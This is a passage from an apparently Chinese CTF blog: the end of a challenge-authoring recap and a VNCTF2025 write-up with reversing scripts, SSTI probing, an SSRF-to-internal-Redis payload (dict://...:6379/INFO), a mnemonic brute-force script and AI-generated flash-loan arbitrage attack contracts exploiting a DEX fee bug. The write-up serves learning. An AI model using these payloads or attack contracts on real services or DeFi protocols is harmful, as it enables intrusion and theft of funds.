response.set_cookie("token", "", expires=0)
return response
except jwt.InvalidTokenError:
response = redirect("/login")
response.set_cookie("token", "", expires=0)
return response
...
try:
if parsed.scheme == "file":
# 因为改用 CentOS 后 curl 的版本太低了没有 PATH_AS_IS 选项,所以这里进行手动处理
if "/proc" in parsed.path:
return jsonify(
{
"code": 403,
"success": False,
"data": {"url": target_url, "content": "Permission Denied"},
}
)
...

然后才把这个地方给堵上了

出题总结

怎么说呢,我真佩服我自己点子那么多

当然本次出题也出现了考虑不周全的问题,还有就是对环境不熟悉的问题(上面 CentOS 那个),不过这次出题确实出爽了,有简单的,也有难的

出题跟做题都是很有意思的事情,下次继续(诶嘿

现在就等比赛开始了,比赛打完了再来更下面吧

比赛中

这次比赛我们班其实有三个队伍,但是说实在的他们都比较小白,体现在什么方面呢?逆向没有 IDA,流量分析没有 Wireshark,就最基础的这些工具其实我们班的兄弟们也不知道,但是我是出题的我也不可能跟他们说这些东西

本次比赛的难度分级为 Easy < Normal < Hard < Expert < Master

第一批

第一批里面我的题是相对简单的,给了

  • [easy] 签个到吧(关注公众号发关键词,上面没写)
  • [easy] Dino(F12 看注释)
  • [easy] ez_traffic(wireshark 打开后直接导出 HTTP 文件)
  • [easy] 为什么要演奏春日影(Deepsound 提取文件)
  • [easy] 你真的懂 Base 嘛(Base 大杂烩)
  • [easy] Data Cleaning(数据清理,脚本题)

其中签到不必多说,Dino 也是上来就出了,这两个算比较简单的

其次是 ez_traffic 和 Data Cleaning,因为说实话,只要懂得处理拿到的文件就能够拿分,这两题,所以也是偏简单的

比较好玩的应该是春日影那个题,各种各样的 flag 都出来了

我承认你对本番的理解很到位,但是这不是正确答案 =-=

不过最令我惊奇的是 Base 大杂烩难倒了好多人,我原本的想法就是如果你去搜 Twitter Base 2048,很容易搜到 Base2048 这个东西,然后写一个简单的 Python 脚本先脱 2048 这一层

1
2
3
4
5
6
import base2048

with open("base.txt", "rt", encoding="utf8") as f:
data = f.read()
decoded_data = base2048.decode(data)
print(decoded_data.decode())

然后再去搜 Base 一把梭 搜到 Basecrack,直接就能够用 basecrack 解开这个大杂烩

但是好像我们的参赛选手好像不知道后面还有,认为解开 2048 出来的那串字符串就是 flag,然后就交上去了,所以就能看到这样的提交记录

到了大概 23:45 的时候,看着还是没人出,我就给了三个提示

💡提示1:将内容从乱码变成一串由 ASCII 字符组成的字符串后还有步骤,脱离不开题目名字,关注一下题目的最后一句话

💡提示2:当你解出来的内容是以 flag{ 开头的,那你就得到 flag 了

💡提示3:flag 是有意义的一句话

因为第二天要打蓝桥杯了(蓝桥的网安是屎,别报!信我!),所以我睡得比较早,早上起来一看已经有两个队伍做出来了,挺好的

第二批

第二批我给的题目有这些

  • [easy*2] [normal] Herta’s Voidterm
  • [normal] [hard] 登录 PRTS
  • [easy] Data Analysis
  • [easy] Is It Really Secure??

当我打完蓝桥杯的时候,登录 QQ 和微信发现群里有人艾特我,说 PRTS 题目出了问题

一看,发现是我忘记删掉注释了

好吧,重新弄了一下上线了……

我其实没太想到本次的 Herta’s Voidterm 能够难住不少人

第一问很简单,env 一下就出来了,这个没啥问题,但是第二问好像大伙都不知道域名还有 TXT 类型记录可以用来存内容

后面也是加了点提示

然后第三问因为我看到提交记录里面有交 AES 的向量的

于是我也给第三问来了点提示

说到简单题,还有一个简单题 Is It Really Secure??,我特意在 ftp 里面留了坑,我的 ftp 认证密码是 my-Str0ng_p@55w0Rd

然后真有队伍交了 flag{my-Str0ng_p@55w0Rd}

看来这坑没白埋 (*^▽^*)

当然,还有中第二个坑的

估计可能大伙不知道什么叫 ZIP 伪加密吧

不过这一部分最令我开心的应该是 PRTS 有人做,而且有人出(虽然只出了第一题)

然后有个哥们想复杂了

我寻思我也没有 import pickle 啊 🤔

当然,在多方面的提示下,有一个队伍出了 PRTS 2

有人能对上电波我还是很开心的,不仅这题,黑塔终端 3 也有人对上电波了

可能是一张图两用太难想了?还有就是估计很多队伍第一问看到 SECRET 没当回事

Data Analysis 那个题目,我题目的要求是对内容进行 md5 计算,不过我当时是把文件丢进赛博厨子计算的,然后可能是不同系统对剪贴板的处理不一样,有人用 macOS 在数据正确的前提下出了错误的答案

看来下次还是不能省掉检验用的那个网页 =-=

第三批

第三批是难度比较高的,我的题目有这些

  • [expert*2] [master] Play CS with Me
  • [normal] Data from Log

因为劳动节补课,周日要上课,原定周日早上十点放题目的,放到了周六晚上七点放了

这里首先要给参赛选手道歉的是,我在题目 Data from Log 的附件里面给的 README.md 写的跟题目详情页面不一样,在这里向各位道个歉 orz

Data from Log 涉及到了从阿帕奇的日志中恢复数据,这题是从羊城杯偷的,所以数据上没什么好说的

不过让我欣喜的是 Play CS with Me 没有爆零,第一题有人在提示下出了

这个搜索能力挺不错的,在这里表扬一下 (๑•̀ㅂ•́)و✧

当然也少不了跳我挖好的坑

说实话,我也想改这个 evil.exe 为其他更具有迷惑力的名字,但是不管我怎么保存那个代表 beacon 的 hta 文件,这里都不会变,可能是 hta 类型文件最后在这里显示固定为 evil.exe 吧,这点我确实不太清楚

接着这个队伍又继续攻克第二问,但是但是,他们找的教程实在是……戛然而止

他们找的是这一篇:https://www.freebuf.com/articles/system/327060.html

然后我还是提醒了一嘴

他们应该是搜到后续了,快出了——确实出了,最后一分钟

好极限,恭喜这个队伍用 Play CS with Me 1 和 2 超过了原来的第一

收 Writeup

比赛完了以后最爽的应该是看各个队伍的 wp 了,看看他们有没有按照我们预定的思路去做题,其实大部分都是按照我的想法来的,不过也有一些跟我用的工具不太一样

例如说 base 那个题目,有一队就用的不是 basecrack 而是用的随波逐流,也是让我第一次知道随波逐流还有这功能了

总结

所以以上就是本次出题的经历啦,后面应该还会出更多的题目的٩(๑^o^๑)۶

下次再有出题的话再写这样的记录吧

题目源码

🔲 ☆

VNCTF2025 个人Writeup(垂死挣扎记录)

[Reverse] Hook Fish

钓到的鱼怎么跑了?

下载下来一个apk文件,丢进jadx查看AndroidManifest.xml看到第一个Activity是com.example.hihitt.MainActivity

找到Activity看到里面有一些函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
    public void loadClass(String input0) {
String input1 = encode(input0);
File dexFile = new File(getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS), "hook_fish.dex");
DexClassLoader dLoader = new DexClassLoader(Uri.fromFile(dexFile).toString(), null, null, ClassLoader.getSystemClassLoader().getParent());
try {
Class<?> loadedClass = dLoader.loadClass("fish.hook_fish");
Object obj = loadedClass.newInstance();
Method m = loadedClass.getMethod("check", String.class);
boolean check = ((Boolean) m.invoke(obj, input1)).booleanValue();
if (check) {
Toast.makeText(this, "恭喜,鱼上钩了!", 0).show();
}
} catch (Exception e) {
e.printStackTrace();
}
}

public String decode(String boy) {
try {
File dexFile = new File(getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS), "hook_fish.dex");
DexClassLoader dLoader = new DexClassLoader(dexFile.getAbsolutePath(), getCacheDir().getAbsolutePath(), null, getClassLoader());
Class<?> loadedClass = dLoader.loadClass("fish.hook_fish");
Object obj = loadedClass.newInstance();
Method decodeMethod = loadedClass.getMethod("decode", String.class);
return (String) decodeMethod.invoke(obj, boy);
} catch (Exception e) {
e.printStackTrace();
return "Error";
}
}

public String encode(String girl) {
try {
File dexFile = new File(getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS), "hook_fish.dex");
DexClassLoader dLoader = new DexClassLoader(dexFile.getAbsolutePath(), getCacheDir().getAbsolutePath(), null, getClassLoader());
Class<?> loadedClass = dLoader.loadClass("fish.hook_fish");
Object obj = loadedClass.newInstance();
Method encodeMethod = loadedClass.getMethod("encode", String.class);
return (String) encodeMethod.invoke(obj, girl);
} catch (Exception e) {
e.printStackTrace();
return "Error";
}
}
}

去抓包,发现从http://47.121.211.23/hook_fish.dex下载了文件,本来想在系统里面截胡的但是没截到,直接访问下载了文件

用Ghidra打开,发现内部逻辑是一个自定义的字符编码方式(我叫做ji字符编码),然后可以拿到里面ji编码后的密文

1
jjjliijijjjjjijiiiiijijiijjiijijjjiiiiijjjjliiijijjjjljjiilijijiiiiiljiijjiiliiiiiiiiiiiljiijijiliiiijjijijjijijijijiilijiijiiiiiijiljijiilijijiiiijjljjjljiliiijjjijiiiljijjijiiiiiiijjliiiljjijiiiliiiiiiljjiijiijiijijijjiijjiijjjijjjljiliiijijiiiijjliijiijiiliiliiiiiiljiijjiiliiijjjliiijjljjiijiiiijiijjiijijjjiiliiliiijiijijijiijijiiijjjiijjijiiiljiijiijilji

解码过后是0qksrtuw0x74r2n3s2x3ooi4ps54r173k2os12r32pmqnu73r1h432n301twnq43prruo2h5,并没有什么意义,再去看看有没有漏掉的东西,在MainActivity里面还有这样的编码过程(注释是我加的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public static String encrypt(String str) {
byte[] str1 = str.getBytes(); // 把字符串变成bytes
for (int i = 0; i < str1.length; i++) {
str1[i] = (byte) (str1[i] + 68); // 变成bytes之前每个字符ASCII加了68
}
StringBuilder hexStringBuilder = new StringBuilder();
for (byte b : str1) {
hexStringBuilder.append(String.format("%02x", Byte.valueOf(b))); // 把传入的str1变成hex
}
String str2 = hexStringBuilder.toString(); // 把hex变成字符串
char[] str3 = str2.toCharArray(); // 把String转换为char[]数组
code(str3, 0); // 进行自定义编码
for (int i2 = 0; i2 < str3.length; i2++) {
if (str3[i2] >= 'a' && str3[i2] <= 'f') { // 如果为 a ~ f
str3[i2] = (char) ((str3[i2] - '1') + (i2 % 4)); // 字符与 '1' 相减,再加上 i2 % 4,i2是循环变量
} else {
str3[i2] = (char) (str3[i2] + '7' + (i2 % 10)); // 字符与 '7' 相加,再加上 i2 % 10,i2还是循环变量
}
}
Log.d("encrypt: ", new String(str3));
return new String(str3);
}

private static void code(char[] a, int index) {
if (index >= a.length - 1) {
return;
}
a[index] = (char) (a[index] ^ a[index + 1]); // 前后异或,设三个数字为a, b, c,此时 a 变成了 c(a ^ b = c)
a[index + 1] = (char) (a[index] ^ a[index + 1]); // b ^ c = a,此时第二个字符为 a
a[index] = (char) (a[index] ^ a[index + 1]); // c ^ a = b,此时达到了第一个字符和第二个字符对调的效果
code(a, index + 2); // 前进两位,下一组
}

于是组合起来,写个JIO本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
class HookFish:
def __init__(self):
self.fish_ecode = {}
self.fish_dcode = {}
self.encode_map()

def encode_map(self):
encode_dict = {
'a': "iiijj", 'b': "jjjii", 'c': "jijij", 'd': "jjijj", 'e': "jjjjj",
'f': "ijjjj", 'g': "jjjji", 'h': "iijii", 'i': "ijiji", 'j': "iiiji",
'k': "jjjij", 'l': "jijji", 'm': "ijiij", 'n': "iijji", 'o': "ijjij",
'p': "jiiji", 'q': "ijijj", 'r': "jijii", 's': "iiiii", 't': "jjiij",
'u': "ijjji", 'v': "jiiij", 'w': "iiiij", 'x': "iijij", 'y': "jjiji",
'z': "jijjj", '1': "iijjl", '2': "iiilj", '3': "iliii", '4': "jiili",
'5': "jilji", '6': "iliji", '7': "jjjlj", '8': "ijljj", '9': "iljji",
'0': "jjjli"
}
for char, code in encode_dict.items():
self.fish_ecode[char] = code
self.fish_dcode[code] = char

def decode(self, p1):
decoded_str = []
for i in range(0, len(p1), 5):
encoded_char = p1[i:i+5]
decoded_str.append(self.fish_dcode.get(encoded_char, '?'))
return ''.join(decoded_str)

def decrypt(encrypted_str):
def reverse_step4(chars):
reversed_chars = []
for i, c in enumerate(chars):
current_ord = ord(c)
# 逆向处理 a-f 的情况
original_ord_case1 = (current_ord - (i % 4)) + ord('1')
if 97 <= original_ord_case1 <= 102:
reversed_chars.append(chr(original_ord_case1))
continue
# 逆向处理其他字符
original_ord_case2 = current_ord - ord('7') - (i % 10)
if 48 <= original_ord_case2 <= 57 or 97 <= original_ord_case2 <= 102:
reversed_chars.append(chr(original_ord_case2))
else:
reversed_chars.append('?') # 无效占位符
return reversed_chars

# 逆向第四步变换
step3_chars = reverse_step4(list(encrypted_str))

# 逆向 code 函数(交换相邻字符)
for i in range(0, len(step3_chars)-1, 2):
step3_chars[i], step3_chars[i+1] = step3_chars[i+1], step3_chars[i]

# 转换十六进制字符串为字节
try:
hex_str = ''.join(step3_chars)
encrypted_bytes = bytes.fromhex(hex_str)
except ValueError:
return "Invalid Hex"

# 逆向字节偏移
original_bytes = bytes([(b - 68) % 256 for b in encrypted_bytes])
return original_bytes.decode('utf-8', errors='replace')

# 使用示例
hook_fish = HookFish()
encoded_string = "jjjliijijjjjjijiiiiijijiijjiijijjjiiiiijjjjliiijijjjjljjiilijijiiiiiljiijjiiliiiiiiiiiiiljiijijiliiiijjijijjijijijijiilijiijiiiiiijiljijiilijijiiiijjljjjljiliiijjjijiiiljijjijiiiiiiijjliiiljjijiiiliiiiiiljjiijiijiijijijjiijjiijjjijjjljiliiijijiiiijjliijiijiiliiliiiiiiljiijjiiliiijjjliiijjljjiijiiiijiijjiijijjjiiliiliiijiijijijiijijiiijjjiijjijiiiljiijiijilji"

raw_encrypted = hook_fish.decode(encoded_string)
print("Encrypted String:", raw_encrypted)

decrypted_flag = decrypt(raw_encrypted)
print("Decrypted Flag:", decrypted_flag)

最终得到flag为VNCTF{u_re4l1y_kn0w_H0Ok_my_f1Sh!1l}

[MISC] VN_Lang

我真是受够了往misc里塞异形文字了,所以我决定自创VN文字,你能读懂吗?

本题所给的附件中,main.rs为源代码,请下载exe文件进行解题,flag在exe中。

直接把exe丢进IDA,然后Shift + F12,查看字符串,发现flag

flag为VNCTF{ucxaOK2UO8rEXjuUXbwa5sBoZKxBxb6qhQ3HVoy30rzq5}

[Web] 学生姓名登记系统(未出)

Infernity师傅用某个单文件框架给他的老师写了一个“学生姓名登记系统”,并且对用户的输入做了严格的限制,他自认为他的系统无懈可击,但是真的无懈可击吗?

确实并非无懈可击,但是我是没办法打

上来就说输入学生名字,输入完点击提交发现会显示刚刚输入的学生名字,猜测可能存在SSTI,测试了一下果不其然

输入输出

然后我测试了一下,虽然可以分行提交,但是一旦存在某些关键词,则不会被当做模板运行,例如输入{%print(123)%},会直接原样返回

这些关键词包括但不限于:%lipsum,有些组合也不能够被正确识别,例如{{request.args.a}}{{request.cookies.c}}这样的

此外,还有长度限制,经过测试,当单行输入长度>=24的时候,就会阻止,表现为弹出“谁家好人名字这么长??”的提示

因为我实在是没找到方法来规避这个长度限制,所以只能作罢

[Web] 奶龙回家(未出)

小朋友们你们好呀,我是奶龙,请帮我找到username和password,获得胖猫留下的flag吧 //容易炸链接,可以多试几次

我才是奶龙.jpg

给了登录框,可以输入用户名和密码,一开始就想到了爆破

然后我已经爆破了快两个小时,结果发了提示:本题考点是注入攻击,无需进行字典爆破操作

行吧,我后面再来看你(然后就忘了 =-=)

[Reverse] 抽奖转盘(未出)

主播主播,你的安卓逆向太吃操作了,有没有更简单容易上手的逆向题目哇?有的兄弟有的。

真的上手吗(害怕

附件的格式.hap就告诉我们一切了,这题是鸿蒙的软件逆向,我在网上找不到什么资料,找到了一个工具abc-decompiler

https://github.com/ohos-decompiler/abc-decompiler

把hap文件解压以后,将里面的.abc文件丢进去就可以反编译了……但这是啥啊!

好吧,现在的反编译工具确实不太成熟,怪不得人家。我手上也没有鸿蒙设备,也没有模拟器,真的在打黑盒一样

后面找到了模拟器,要求电脑开HyperV,我丢在了虚拟机上运行(但一直在转圈),考虑到我写这行字的时候已经是1:09了,我还是去睡觉吧,明天有N1CTF呢

模拟器:https://www.coolapk.com/feed/57785796?shareKey=ZTFmZTBiNTJiN2Y5NjcxOTBlZjQ~&shareUid=0

[MISC] Ekko(未出)

Ekko似乎找不到完美的时间线了。。。

题目地址:156.238.233.119:10001

faucet:156.238.233.119:10000

rpc:156.238.233.119:8545

一看就是以太坊智能合约的题目,但我没接触过,于是我去学了一下以太坊的合约

nc题目地址能够创建一个钱包,要求向指定地址转账0.001测试币才能下一步

1
2
3
4
5
6
7
8
9
10
11
12
PS C:\Users\GamerNoTitle> nc 156.238.233.119 10001
Help Ekko find the best timeline.馃槑馃槑馃槑
Trigger the isSolved() function to obtain the flag.

[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[4] - Show the contract source code
[-] input your choice: 1
[+] deployer account: 0x6117596A833B37eEC24D83F2b9C741513542a1c1
[+] token: v4.local.EYCF2NyWEjGP50HEnmDWq2sKlUNk7st51_QohF4zNKsWniY5F8zi3PzskjBmZFTwMdyQ8fOtKqzGUmLrrer5PMh9fFSf7iLlKgQmKOSa_pHvrj4lua2lTKPaZfkgG-b_Z7g5ac85Jkm9kpcxTfexOC2CVAOH_10xzOL2g3hOgRvu5A.RWtrb1RpbWVSZXdpbmQ
[+] please transfer more than 0.001 test ether to the deployer account for next step

首先第一步是要去水龙头接水(拿测试币),访问题目给的faucet地址,把钱包地址填进去就可以接到1ETH测试币了

接着要向别人转账,再次nc选择2,把token给它就可以部署合约了

1
2
3
4
5
6
7
8
9
10
11
12
PS C:\Users\GamerNoTitle> nc 156.238.233.119 10001
Help Ekko find the best timeline.馃槑馃槑馃槑
Trigger the isSolved() function to obtain the flag.

[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[4] - Show the contract source code
[-] input your choice: 2
[-] input your token: v4.local.EYCF2NyWEjGP50HEnmDWq2sKlUNk7st51_QohF4zNKsWniY5F8zi3PzskjBmZFTwMdyQ8fOtKqzGUmLrrer5PMh9fFSf7iLlKgQmKOSa_pHvrj4lua2lTKPaZfkgG-b_Z7g5ac85Jkm9kpcxTfexOC2CVAOH_10xzOL2g3hOgRvu5A.RWtrb1RpbWVSZXdpbmQ
[+] contract address: 0xCDF40E3392f49Bc985B06A30269f75035C7001AE
[+] transaction hash: 0xded23a521c51c77838cc35e0c1019f1873e5db8ff6c8bf7bd3dd967c22a351c6

然后就是要完成合约,但是怎么完成?我不道啊!!

[MISC] aimind(未出)

基于大模型生成网站思维导图,不觉得很cool 吗

题目链接:http://39.100.72.235:8000/

本网站由gpt4o进行驱动,响应慢属于正常现象,靶场十分钟重启一次.

访问后告诉我们要输入url来生成思维导图

我一开始以为是基于网页中间件的提示词注入,所以我还写了这么一个文档

https://github.com/Luminoria/CTF/blob/main/VNCTF2025.html

改来改去它还是不告诉我,想想算了,先做别的,后面题目给了提示

  • 据说有个redis在内网
  • 172.18.0.3

那意思很明确了,访问172.18.0.3:6379这个Redis获取信息,我就想到之前CCSSSC那次做过的dict执行Redis命令

测试了一下dict://172.18.0.3:6379/INFO,确实可以获取信息

于是想着能不能弹shell,但是后来发现用之前的payload会出不来(不生成思维导图且F12网络选项卡里面500),只好作罢

还是对Redis不熟的问题 =-=

[MISC] Echo Flowers(已复现)

英语不好的114也想要学习区块链,于是通过自己编写的地址生成器生成了一个0x114514开头的地址助记词(默认路径m/44’/60’/0’/0/0),并将助记词导入首次搭载四曲柔边直屏,采用居中对称式的圆环镜头+金属质感小银边设计,并辅以拉丝工艺打造的金属质感中框,主打“超防水,超抗摔,超耐用”,号称“耐用战神”的OPPO A5 Pro上作为数字钱包。不幸的是,114忘记了这部手机上数字钱包的密码,同时丢失了助记词。你能帮助114找回他的数字钱包吗?

本题附件下载地址:百度网盘Google Drive

114使用的密码是强密码(在8-40字符之间,至少包含一个大写字母、一个小写字母、一个数字和一个特殊字符),因此暴力破解密码是不现实的

附件是一个(通过Android-x86模拟的)手机镜像,建议使用VMWare虚拟机平台运行手机镜像,其它虚拟机平台可能会出现非预期的行为。

你应该从手机镜像中取证找回数字钱包。

附件中gift文件夹的内容不是解题所必需的。

FLAG格式:VNCTF{ETH地址0x114514d3CEc0bB872349a98e21526DbA041F08a9对应的私钥十六进制小写} . 例如,假设私钥是0xaabbcc,那么FLAG是VNCTF{aabbcc} .

赛中自己做

一开始我去找了手机的文件,想着能不能找到助记词或者私钥,但是找不到,题目又说英语不好将助记词导入,于是我想着社会工程学,看看键盘的记录,结果就找到了这12个可能为助记词的单词

具体做法是:切换到英文键盘,开启单词匹配,然后按下首字母,以此选择排在前面的且看起来像是助记词的单词,我知道这很不靠谱但我确实是这么做的,还真的拿出来了12个,是助记词的经典数目

1
ramp ranch twenty you only space define fashion high laundry carpet muscle

因为助记词的顺序会影响钱包地址,于是写了个爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import itertools
from mnemonic import Mnemonic
from eth_account import Account
from eth_utils.exceptions import ValidationError
from tqdm import tqdm
from concurrent.futures import ThreadPoolExecutor, as_completed

# 启用HD钱包功能
Account.enable_unaudited_hdwallet_features()

# 给定的12个助记词
mnemonic_words = "ramp ranch twenty you only space define fashion high laundry carpet muscle".split()

# 目标地址
target_address = '0x114514d3CEc0bB872349a98e21526DbA041F08a9'

# 初始化助记词处理工具
mnemo = Mnemonic('english')

# 函数:生成钱包地址
def generate_address_from_mnemonic(mnemonic_words):
try:
mnemonic_phrase = ' '.join(mnemonic_words)
# 验证助记词是否有效
if not mnemo.check(mnemonic_phrase):
return None
seed = mnemo.to_seed(mnemonic_phrase, passphrase="")
# 使用EthAccount生成钱包
acct = Account.from_mnemonic(mnemonic_phrase)
return acct.address.lower()
except ValidationError:
return None

# 处理每个排列组合
def process_permutation(perm):
address = generate_address_from_mnemonic(perm)
if address == target_address:
return perm
return None

# 使用线程池执行多线程任务
with ThreadPoolExecutor() as executor:
# 创建tqdm进度条
progress_bar = tqdm(itertools.permutations(mnemonic_words), desc="Testing permutations", total=12*11*10*9*8*7*6*5*4*3*2*1)

# 提交任务并处理结果
for perm in progress_bar:
future = executor.submit(process_permutation, perm)
result = future.result()
progress_bar.update(1)
if result:
print(f"Found correct sequence: {result}")
break
else:
print("No matching address found.")

然后就发现问题了:这样组合起来有479001600种组合,完全不够时间来爆破,而且这12个助记词不保证对,那没办法了,放在kaggle上面爆破然后我做别的去了

赛后复现

根据官方的wp,找搜狗输入法的方向是正确的,但是就像我上面说的,不确定性太大了

搜狗输入法的词库确实是按照我在比赛时看到的那样,保存在/data/data/com.sohu.inputmethod.sogouoem/files/dict里面,而我在winhex里面看到的跟我用string提取的一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PS F:\CTF\Workspace\VNCTF2025\Echo Flowers\dict> strings *.bin
SGCM(
SGCP(
SGHW(
SGKC$
SGLB(
SGPA(
SGPF(
SGTG(
SGQG(
SGBU(
SGMU(
SGPU(
SGBG(
SGAU(
SGAB(
SLDA(
SGNU(

这样子看不出来任何东西,而官方wp加入了--encoding=b

Deepseek: --encoding=b 表示让 strings 工具以 16位大端(Big-Endian)编码 扫描二进制文件中的字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
PS F:\CTF\Workspace\VNCTF2025\Echo Flowers\dict> strings --encoding=b *
ranch
only
space
define
laundry
carpet
muscle
ramp
high
twenty
couch
fashion

就能够看到助记词,而且有确切的顺序,导入进去就有钱包了

所以flag为VNCTF{6433c196bb66b0d8ce3aa072d794822fd87edfbc3a30e2f2335a3fb437eb3cda}

找搜狗输入法的方向是对的,只不过不能在winhex里面查看词库要用strings提取

[MISC] Something for nothing(未出)

今天我们隆重推出VNB和WMB!嗯…好像交易所的实现有不太对的地方?

稍加利用也许能拿到怪东西?

做这题的时候我已经学了一点点(真的是一点点)的合约了,提示里面给到“三角套利”,但是理财不是我的强项

于是在Deepseek的帮助下,有了这样的攻击步骤

  1. 触发闪电贷:在attack函数中,通过调用flashLoan借入5000 USDT。
  2. 执行套利操作:在executeOperation回调函数中:
    • USDT→VNB:在池0(USDT-VNB)中将借入的USDT兑换为VNB。
    • VNB→WMB:在池1(VNB-WMB)中将获得的VNB兑换为WMB。
    • WMB→USDT:在池2(USDT-WMB)中将获得的WMB兑换回USDT。
  3. 转移利润:计算利润并将USDT利润转至profitReceiver
  4. 归还贷款:确保剩余的USDT足够偿还闪电贷,并授权DEX取回。

关键点:

  • 手续费漏洞:DEX的getAmountOut函数错误地将amountIn乘以1000而非扣除手续费,导致无手续费交易,使得套利成为可能。
  • 三角套利路径:利用三个流动性池的价格差异,通过三次交换实现无风险利润。
  • 闪电贷机制:通过闪电贷借入大量资金放大利润,并在同一交易中完成所有操作,确保原子性。

于是它给了我下面的合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IIERC20 {
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function balanceOf(address owner) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
}

interface ISimpleDEX {
function flashLoan(uint256 amount, address token) external;
function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external;
function getPrice(uint256 ammIndex) external view returns (uint256);
function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external;
function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external;
}

interface IAttack {
function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external;
}

contract AttackContract is IAttack {
address public token0;
address public token1;
address public token2;
address public dex;
address public profitReceiver;

function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external override {
token0 = _token0;
token1 = _token1;
token2 = _token2;
dex = _dex;
profitReceiver = _profitReceiver;

// 借入5000 USDT进行攻击
uint256 loanAmount = 5000 ether;
ISimpleDEX(dex).flashLoan(loanAmount, token0);
}

function executeOperation(uint256 amount, address token) external {
require(msg.sender == dex, "Unauthorized");
require(token == token0, "Invalid token");

// 授权DEX使用借入的USDT
IIERC20(token0).approve(dex, amount);

// 在池0中将USDT兑换为VNB
ISimpleDEX(dex).swap(0, amount, true);

// 在池1中将VNB兑换为WMB
uint256 vnbBalance = IIERC20(token1).balanceOf(address(this));
IIERC20(token1).approve(dex, vnbBalance);
ISimpleDEX(dex).swap(1, vnbBalance, true);

// 在池2中将WMB兑换为USDT
uint256 wmbBalance = IIERC20(token2).balanceOf(address(this));
IIERC20(token2).approve(dex, wmbBalance);
ISimpleDEX(dex).swap(2, wmbBalance, false);

// 将利润转给profitReceiver
uint256 currentBalance = IIERC20(token0).balanceOf(address(this));
require(currentBalance >= amount, "无法偿还贷款");
uint256 profit = currentBalance - amount;
IIERC20(token0).transfer(profitReceiver, profit);

// 授权DEX取回贷款
IIERC20(token0).approve(dex, amount);
}
}

但问题是,我放到题目里面以后,它不跑啊……

我还是把各种AI给的合约放在这个下面吧

Deepseek R1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IIERC20 {
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function balanceOf(address owner) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
}

interface ISimpleDEX {
function flashLoan(uint256 amount, address token) external;
function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external;
function getPrice(uint256 ammIndex) external view returns (uint256);
function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external;
function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external;
}

interface IAttack {
function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external;
}

contract AttackContract is IAttack {
address public token0;
address public token1;
address public token2;
address public dex;
address public profitReceiver;

function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external override {
token0 = _token0;
token1 = _token1;
token2 = _token2;
dex = _dex;
profitReceiver = _profitReceiver;

// 借入5000 USDT进行攻击
uint256 loanAmount = 5000 ether;
ISimpleDEX(dex).flashLoan(loanAmount, token0);
}

function executeOperation(uint256 amount, address token) external {
require(msg.sender == dex, "Unauthorized");
require(token == token0, "Invalid token");

// 授权DEX使用借入的USDT
IIERC20(token0).approve(dex, amount);

// 在池0中将USDT兑换为VNB
ISimpleDEX(dex).swap(0, amount, true);

// 在池1中将VNB兑换为WMB
uint256 vnbBalance = IIERC20(token1).balanceOf(address(this));
IIERC20(token1).approve(dex, vnbBalance);
ISimpleDEX(dex).swap(1, vnbBalance, true);

// 在池2中将WMB兑换为USDT
uint256 wmbBalance = IIERC20(token2).balanceOf(address(this));
IIERC20(token2).approve(dex, wmbBalance);
ISimpleDEX(dex).swap(2, wmbBalance, false);

// 将利润转给profitReceiver
uint256 currentBalance = IIERC20(token0).balanceOf(address(this));
require(currentBalance >= amount, "无法偿还贷款");
uint256 profit = currentBalance - amount;
IIERC20(token0).transfer(profitReceiver, profit);

// 授权DEX取回贷款
IIERC20(token0).approve(dex, amount);
}
}

Gemini 2.0 Pro 02-05

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
